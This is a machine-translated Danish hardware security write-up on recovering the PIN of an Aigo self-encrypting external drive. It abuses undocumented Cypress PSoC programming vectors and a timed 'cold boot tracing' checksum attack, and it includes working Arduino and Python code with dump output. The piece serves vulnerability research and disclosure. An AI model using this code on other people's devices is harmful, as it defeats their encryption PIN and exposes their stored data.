Reversering og hacking af Aigo selvkrypterende eksternt HDD-drev. Del 2: At tage et dump fra Cypress PSoC

Dette er den anden og sidste del af artiklen om hacking af eksterne selvkrypterende drev. Lad mig minde dig om, at en kollega for nylig bragte mig en Patriot (Aigo) SK8671-harddisk, og jeg besluttede at vende den om, og nu deler jeg, hvad der kom ud af det. Før du læser videre, så sørg for at læse første del artikel.

4. Vi begynder at tage et dump fra det interne PSoC-flashdrev
5. ISSP protokol
– 5.1. Hvad er ISSP
– 5.2. Afmystificerende vektorer
– 5.3. Kommunikation med PSoC
– 5.4. Identifikation af on-chip registre
– 5.5. Sikkerhed bits
6. Første (mislykkede) angreb: ROMX
7. Andet angreb: Koldstøvlesporing
– 7.1. Implementering
– 7.2. Læser resultatet
– 7.3. Flash binær rekonstruktion
– 7.4. Finder PIN-kodens lageradresse
– 7.5. Tager en dump af blok nr. 126
– 7.6. Gendannelse af PIN-kode
8. Hvad er det næste?
9. Konklusion

Reversering og hacking af Aigo selvkrypterende eksternt HDD-drev. Del 2: At tage et dump fra Cypress PSoC


4. Vi begynder at tage et dump fra det interne PSoC-flashdrev

Så alt tyder på (som vi fastslog i [første del]()), at PIN-koden er gemt i flash-dybderne af PSoC. Derfor skal vi læse disse flashdybder. Foran nødvendigt arbejde:

  • tage kontrol over "kommunikation" med mikrocontrolleren;
  • finde en måde at kontrollere, om denne "kommunikation" er beskyttet mod læsning udefra;
  • finde en måde at omgå beskyttelsen.

Der er to steder, hvor det giver mening at lede efter en gyldig PIN-kode:

  • intern flash-hukommelse;
  • SRAM, hvor pinkoden kan gemmes for at sammenligne den med pinkoden indtastet af brugeren.

Når jeg ser fremad, vil jeg bemærke, at jeg stadig formåede at tage et dump af det interne PSoC-flashdrev - uden om dets sikkerhedssystem ved hjælp af et hardwareangreb kaldet "cold boot tracing" - efter at have vendt de udokumenterede muligheder i ISSP-protokollen. Dette gav mig mulighed for direkte at dumpe den faktiske PIN-kode.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Endelig programkode:

5. ISSP protokol

5.1. Hvad er ISSP

"Kommunikation" med en mikrocontroller kan betyde forskellige ting: fra "leverandør til leverandør" til interaktion ved hjælp af en seriel protokol (for eksempel ICSP for Microchip's PIC).

Cypress har sin egen proprietære protokol til dette, kaldet ISSP (in-system serial programming protocol), som er delvist beskrevet i teknisk specifikation. Patent US7185162 giver også nogle oplysninger. Der er også en OpenSource-ækvivalent kaldet HSSP (vi bruger den lidt senere). ISSP fungerer som følger:

  • genstart PSoC;
  • udlæs det magiske nummer til den serielle datapin på denne PSoC; for at gå ind i ekstern programmeringstilstand;
  • send kommandoer, som er lange bitstrenge kaldet "vektorer".

ISSP-dokumentationen definerer disse vektorer for kun en lille håndfuld kommandoer:

  • Initialiser-1
  • Initialiser-2
  • Initialize-3 (3V og 5V muligheder)
  • ID-OPSÆTNING
  • LÆS-ID-ORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, hvor ddddddd=blok #
  • BULK SLETTNING
  • PROGRAM-BLOK
  • VERIFICER OPSÆTNING
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, hvor DDDDDDDD = data ud, aaaaaa = adresse (6 bit)
  • WRITE-BYTE: 10010aaaaaaddddddd111, hvor dddddddd = data ind, aaaaaa = adresse (6 bit)
  • SIKKER
  • CHECKSUM-OPSÆTNING
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, hvor DDDDDDDDDDDDDDDDDD = data ud: enhedskontrolsum
  • SLETT BLOK

For eksempel vektoren for Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Alle vektorer har samme længde: 22 bit. HSSP-dokumentationen har nogle yderligere oplysninger om ISSP: "En ISSP-vektor er intet mere end en bitsekvens, der repræsenterer et sæt instruktioner."

5.2. Afmystificerende vektorer

Lad os finde ud af, hvad der foregår her. Til at begynde med antog jeg, at de samme vektorer var råversioner af M8C-instruktioner, men efter at have kontrolleret denne hypotese, opdagede jeg, at opkoderne for operationerne ikke stemte overens.

Så googlede jeg vektoren ovenfor og stødte på det her en undersøgelse, hvor forfatteren, selvom han ikke går i detaljer, giver nogle nyttige tips: ”Hver instruktion begynder med tre bits, der svarer til en af ​​fire mnemonics (læs fra RAM, skriv til RAM, læs register, skriv register). Så er der 8 adressebit, efterfulgt af 8 databit (læs eller skriv) og til sidst tre stopbits.”

Så var jeg i stand til at hente nogle meget nyttige oplysninger fra sektionen Supervisory ROM (SROM). teknisk manual. SROM er en hårdkodet ROM i PSoC'en, der giver hjælpefunktioner (på lignende måde som Syscall) til programkode, der kører i brugerrummet:

  • 00h:SWBootReset
  • 01h: Læseblok
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: BordLæs
  • 07h: Checksum
  • 08h: Kalibrer0
  • 09h: Kalibrer1

Ved at sammenligne vektornavne med SROM-funktioner kan vi kortlægge de forskellige operationer, der understøttes af denne protokol, til de forventede SROM-parametre. Takket være dette kan vi afkode de første tre bits af ISSP-vektorer:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

En fuldstændig forståelse af on-chip processer kan dog kun opnås gennem direkte kommunikation med PSoC.

5.3. Kommunikation med PSoC

Da Dirk Petrautsky allerede har porteret Cypress's HSSP-kode på Arduino, jeg brugte Arduino Uno til at forbinde til ISSP-stikket på tastaturet.

Bemærk venligst, at jeg i løbet af min research ændrede Dirks kode en del. Du kan finde min modifikation på GitHub: her og det tilsvarende Python-script til kommunikation med Arduino, i mit lager cypress_psoc_tools.

Så ved at bruge Arduino brugte jeg først kun de "officielle" vektorer til "kommunikation". Jeg forsøgte at læse den interne ROM ved hjælp af VERIFY-kommandoen. Som forventet kunne jeg ikke gøre dette. Sandsynligvis på grund af det faktum, at læsebeskyttelsesbits er aktiveret inde i flashdrevet.

Derefter lavede jeg et par af mine egne simple vektorer til at skrive og læse hukommelse/registre. Bemærk venligst, at vi kan læse hele SROM'en, selvom flashdrevet er beskyttet!

5.4. Identifikation af on-chip registre

Efter at have set på de "adskilte" vektorer opdagede jeg, at enheden bruger udokumenterede registre (0xF8-0xFA) til at specificere M8C-opkoder, som udføres direkte, uden at beskyttelsen. Dette tillod mig at køre forskellige opcodes såsom "ADD", "MOV A, X", "PUSH" eller "JMP". Takket være dem (ved at se på de bivirkninger, de har på registre) kunne jeg afgøre, hvilke af de udokumenterede registre, der faktisk var almindelige registre (A, X, SP og PC).

Som et resultat ser den "afmonterede" kode, der genereres af HSSP_disas.rb-værktøjet, sådan ud (jeg tilføjede kommentarer for klarhedens skyld):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Sikkerhed bits

På dette stadium kan jeg allerede kommunikere med PSoC, men jeg har stadig ikke pålidelige oplysninger om sikkerhedsbits på flashdrevet. Jeg var meget overrasket over, at Cypress ikke giver brugeren af ​​enheden nogen midler til at kontrollere, om beskyttelsen er aktiveret. Jeg gravede dybere ned i Google for endelig at forstå, at HSSP-koden leveret af Cypress blev opdateret efter Dirk udgav sin modifikation. Også! Denne nye vektor er dukket op:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ved at bruge denne vektor (se read_security_data i psoc.py) får vi alle sikkerhedsbits i SRAM ved 0x80, hvor der er to bits pr. beskyttet blok.

Resultatet er deprimerende: alt er beskyttet i tilstanden "deaktiver ekstern læsning og skrivning". Derfor kan vi ikke kun læse noget fra et flashdrev, men vi kan heller ikke skrive noget (for eksempel for at installere en ROM-dumper der). Og den eneste måde at deaktivere beskyttelsen på er fuldstændig at slette hele chippen. 🙁

6. Første (mislykkede) angreb: ROMX

Vi kan dog prøve følgende trick: da vi har evnen til at udføre vilkårlige opkoder, hvorfor så ikke køre ROMX, som bruges til at læse flashhukommelse? Denne tilgang har en god chance for succes. Fordi ReadBlock-funktionen, der læser data fra SROM'en (som bruges af vektorer) kontrollerer, om den kaldes fra ISSP'en. Imidlertid kan ROMX-opkoden muligvis ikke have en sådan kontrol. Så her er Python-koden (efter at have tilføjet et par hjælperklasser til Arduino-koden):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Desværre virker denne kode ikke. 🙁 Eller rettere det virker, men vi får vores egne opkoder ved udgangen (0x28 0x30 0x40)! Jeg tror ikke, at enhedens tilsvarende funktionalitet er et element af læsebeskyttelse. Dette er mere som et teknisk trick: Når eksterne opkoder udføres, omdirigeres ROM-bussen til en midlertidig buffer.

7. Andet angreb: Koldstøvlesporing

Da ROMX-tricket ikke virkede, begyndte jeg at tænke på en anden variant af dette trick - beskrevet i publikationen "Sidder for meget lys på en mikrocontrollers firmwarebeskyttelse".

7.1. Implementering

ISSP-dokumentationen indeholder følgende vektor for CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dette kalder i det væsentlige SROM-funktionen 0x07, som præsenteret i dokumentationen (kursiv min):

Denne funktion kontrolsum verifikation. Den beregner en 16-bit kontrolsum af antallet af brugerspecificerede blokke i én flashbank, startende fra nul. BLOCKID-parameteren bruges til at videregive antallet af blokke, der vil blive brugt ved beregning af kontrolsummen. En værdi på "1" vil kun beregne kontrolsummen for blok nul; hvorimod "0" vil medføre, at den samlede kontrolsum af alle 256 blokke i flashbanken beregnes. 16-bit kontrolsummen returneres via KEY1 og KEY2. KEY1-parameteren gemmer de 8 bits af lav orden af ​​kontrolsummen, og KEY2-parameteren gemmer de 8 bits af høj orden. For enheder med flere flashbanker kaldes kontrolsum-funktionen for hver enkelt separat. Banknummeret, som det vil arbejde med, indstilles af FLS_PR1-registret (ved at indstille den bit i det, der svarer til målflashbanken).

Bemærk, at dette er en simpel kontrolsum: bytes tilføjes ganske enkelt efter hinanden; ingen fancy CRC særheder. Derudover, da jeg vidste, at M8C-kernen har et meget lille sæt registre, antog jeg, at når jeg beregnede kontrolsummen, vil mellemværdier blive registreret i de samme variabler, der i sidste ende vil gå til output: KEY1 (0xF8) / KEY2 ( 0xF9).

Så i teorien ser mit angreb således ud:

  1. Vi forbinder via ISSP.
  2. Vi starter checksum-beregningen ved hjælp af CHECKSUM-SETUP vektoren.
  3. Vi genstarter processoren efter en specificeret tid T.
  4. Vi læser RAM for at få den aktuelle kontrolsum C.
  5. Gentag trin 3 og 4, og øg T lidt hver gang.
  6. Vi gendanner data fra et flashdrev ved at trække den tidligere kontrolsum C fra den nuværende.

Der er dog et problem: Initialize-1 vektoren, som vi skal sende efter genstart, overskriver KEY1 og KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Denne kode overskriver vores dyrebare kontrolsum ved at kalde Calibrate1 (SROM funktion 9)... Måske kan vi bare sende det magiske nummer (fra begyndelsen af ​​koden ovenfor) for at gå ind i programmeringstilstand og derefter læse SRAM? Og ja, det virker! Arduino-koden, der implementerer dette angreb, er ret simpel:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Læs checkum_delay.
  2. Kør checksumberegning (send_checksum_v).
  3. Vent i en bestemt periode; under hensyntagen til følgende faldgruber:
    • Jeg spildte en masse tid, indtil jeg fandt ud af, hvad det viser sig forsinkelse Mikrosekunder fungerer kun korrekt med forsinkelser på højst 16383 μs;
    • og så igen dræbt den samme mængde tid, indtil jeg opdagede, at delayMicroseconds, hvis 0 sendes til det som input, virker fuldstændig forkert!
  4. Genstart PSoC'en i programmeringstilstand (vi sender bare det magiske nummer uden at sende initialiseringsvektorer).

Endelig kode i Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

I en nøddeskal, hvad denne kode gør:

  1. Genstarter PSoC'en (og sender den et magisk nummer).
  2. Sender fulde initialiseringsvektorer.
  3. Kalder Arduino-funktionen Cmnd_STK_START_CSUM (0x85), hvor forsinkelsen i mikrosekunder sendes som en parameter.
  4. Læser kontrolsummen (0xF8 og 0xF9) og det udokumenterede register 0xF1.

Denne kode udføres 10 gange på 1 mikrosekund. 0xF1 er inkluderet her, fordi det var det eneste register, der ændrede sig ved beregning af kontrolsummen. Måske er det en slags midlertidig variabel, der bruges af den aritmetiske logiske enhed. Bemærk det grimme hack, jeg bruger til at nulstille Arduino ved hjælp af picocom, når Arduino holder op med at vise tegn på liv (ingen anelse om hvorfor).

7.2. Læser resultatet

Resultatet af Python-scriptet ser sådan ud (forenklet for læsbarhed):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Når det er sagt, har vi et problem: da vi arbejder med en faktisk kontrolsum, ændrer en null-byte ikke den læste værdi. Men da hele beregningsproceduren (8192 bytes) tager 0,1478 sekunder (med små variationer hver gang den køres), hvilket svarer til cirka 18,04 μs pr. byte, kan vi bruge denne tid til at kontrollere kontrolsumværdien på passende tidspunkter. For de første kørsler aflæses alt ganske let, da varigheden af ​​beregningsproceduren altid er næsten den samme. Afslutningen på dette dump er dog mindre præcis, fordi de "mindre timingafvigelser" på hver kørsel bliver betydelige:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Det er 10 dumps for hvert mikrosekunds forsinkelse. Den samlede driftstid for at dumpe alle 8192 bytes af et flashdrev er omkring 48 timer.

7.3. Flash binær rekonstruktion

Jeg er endnu ikke færdig med at skrive koden, der fuldstændigt rekonstruerer programkoden på flashdrevet under hensyntagen til alle tidsafvigelser. Jeg har dog allerede gendannet begyndelsen af ​​denne kode. For at sikre mig, at jeg gjorde det korrekt, adskilte jeg det ved hjælp af m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Ser ret plausibelt ud!

7.4. Finder PIN-kodens lageradresse

Nu hvor vi kan læse kontrolsummen på de tidspunkter, vi har brug for, kan vi nemt tjekke, hvordan og hvor det ændrer sig, når vi:

  • indtast den forkerte PIN-kode;
  • ændre pinkoden.

For det første, for at finde den omtrentlige lageradresse, tog jeg et checksum-dump i intervaller på 10 ms efter en genstart. Så indtastede jeg den forkerte PIN-kode og gjorde det samme.

Resultatet var ikke særlig behageligt, da der var mange ændringer. Men til sidst var jeg i stand til at fastslå, at kontrolsummen ændrede sig et sted mellem 120000 µs og 140000 µs forsinkelse. Men "pinkoden", som jeg viste der, var fuldstændig forkert - på grund af en artefakt af delayMicroseconds-proceduren, som gør mærkelige ting, når 0 sendes til den.

Derefter, efter at have brugt næsten 3 timer, huskede jeg, at SROM-systemet kaldet CheckSum modtager et argument som input, der specificerer antallet af blokke for kontrolsummen! At. vi kan nemt lokalisere lagringsadressen for PIN-koden og tælleren for "forkerte forsøg" med en nøjagtighed på op til en 64-byte blok.

Mine første løb gav følgende resultat:

Reversering og hacking af Aigo selvkrypterende eksternt HDD-drev. Del 2: At tage et dump fra Cypress PSoC

Så ændrede jeg PIN-koden fra "123456" til "1234567" og fik:

Reversering og hacking af Aigo selvkrypterende eksternt HDD-drev. Del 2: At tage et dump fra Cypress PSoC

PIN-koden og tælleren for forkerte forsøg ser således ud til at være gemt i blok nr. 126.

7.5. Tager en dump af blok nr. 126

Blok #126 burde være placeret et sted omkring 125x64x18 = 144000μs, fra starten af ​​checksum-beregningen, i mit fulde dump, og det ser ret plausibelt ud. Derefter, efter manuelt at frasortere adskillige ugyldige dumps (på grund af akkumulering af "mindre timingafvigelser"), endte jeg med at få disse bytes (med en latenstid på 145527 μs):

Reversering og hacking af Aigo selvkrypterende eksternt HDD-drev. Del 2: At tage et dump fra Cypress PSoC

Det er helt indlysende, at PIN-koden er gemt i ukrypteret form! Disse værdier er selvfølgelig ikke skrevet i ASCII-koder, men som det viser sig, afspejler de aflæsningerne taget fra det kapacitive tastatur.

Til sidst kørte jeg nogle flere tests for at finde ud af, hvor tælleren for dårlige forsøg var gemt. Her er resultatet:

Reversering og hacking af Aigo selvkrypterende eksternt HDD-drev. Del 2: At tage et dump fra Cypress PSoC

0xFF - betyder "15 forsøg", og det falder for hvert mislykket forsøg.

7.6. Gendannelse af PIN-kode

Her er min grimme kode, der sætter ovenstående sammen:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Her er resultatet af dens udførelse:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurra! Arbejder!

Bemærk venligst, at de latensværdier, jeg brugte, sandsynligvis er relevante for en specifik PSoC - den, jeg brugte.

8. Hvad er det næste?

Så lad os opsummere på PSoC-siden i forbindelse med vores Aigo-drev:

  • vi kan læse SRAM, selvom det er læsebeskyttet;
  • Vi kan omgå anti-swipe-beskyttelsen ved at bruge et koldstartsporingsangreb og direkte læse PIN-koden.

Vores angreb har dog nogle mangler på grund af synkroniseringsproblemer. Det kan forbedres som følger:

  • skrive et hjælpeprogram til korrekt at afkode outputdataene, der opnås som et resultat af et "cold boot trace"-angreb;
  • brug en FPGA-gadget til at skabe mere præcise tidsforsinkelser (eller brug Arduino hardware-timere);
  • prøv et andet angreb: Indtast en bevidst forkert PIN-kode, genstart og dump RAM, i håb om, at den korrekte PIN-kode bliver gemt i RAM til sammenligning. Det er dog ikke så nemt at gøre på Arduino, da Arduino signalniveauet er 5 volt, mens det board vi undersøger fungerer med 3,3 volt signaler.

En interessant ting, der kunne prøves, er at lege med spændingsniveauet for at omgå læsebeskyttelsen. Hvis denne tilgang virkede, ville vi være i stand til at få absolut nøjagtige data fra flashdrevet - i stedet for at stole på at læse en kontrolsum med upræcise timingforsinkelser.

Da SROM'en sandsynligvis læser guard-bits via ReadBlock-systemkaldet, kunne vi gøre det samme som beskrevet på Dmitry Nedospasovs blog - en genimplementering af Chris Gerlinskis angreb, annonceret på konferencen "REcon Bruxelles 2017".

En anden sjov ting, der kunne gøres, er at slibe sagen af ​​chippen: at tage et SRAM-dump, identificere udokumenterede systemkald og sårbarheder.

9. Konklusion

Så beskyttelsen af ​​dette drev lader meget tilbage at ønske, fordi det bruger en almindelig (ikke "hærdet") mikrocontroller til at gemme PIN-koden... Desuden har jeg ikke set (endnu) på, hvordan det går med data kryptering på denne enhed!

Hvad kan du anbefale til Aigo? Efter at have analyseret et par modeller af krypterede HDD-drev, lavede jeg i 2015 præsentation på SyScan, hvor han undersøgte sikkerhedsproblemerne på flere eksterne HDD-drev og kom med anbefalinger til, hvad der kunne forbedres i dem. 🙂

Jeg brugte to weekender og flere aftener på at lave denne undersøgelse. I alt omkring 40 timer. Tæller fra begyndelsen (da jeg åbnede disken) til slutningen (PIN-kode dump). De samme 40 timer inkluderer den tid, jeg brugte på at skrive denne artikel. Det var en meget spændende tur.

Kilde: www.habr.com

Tilføj en kommentar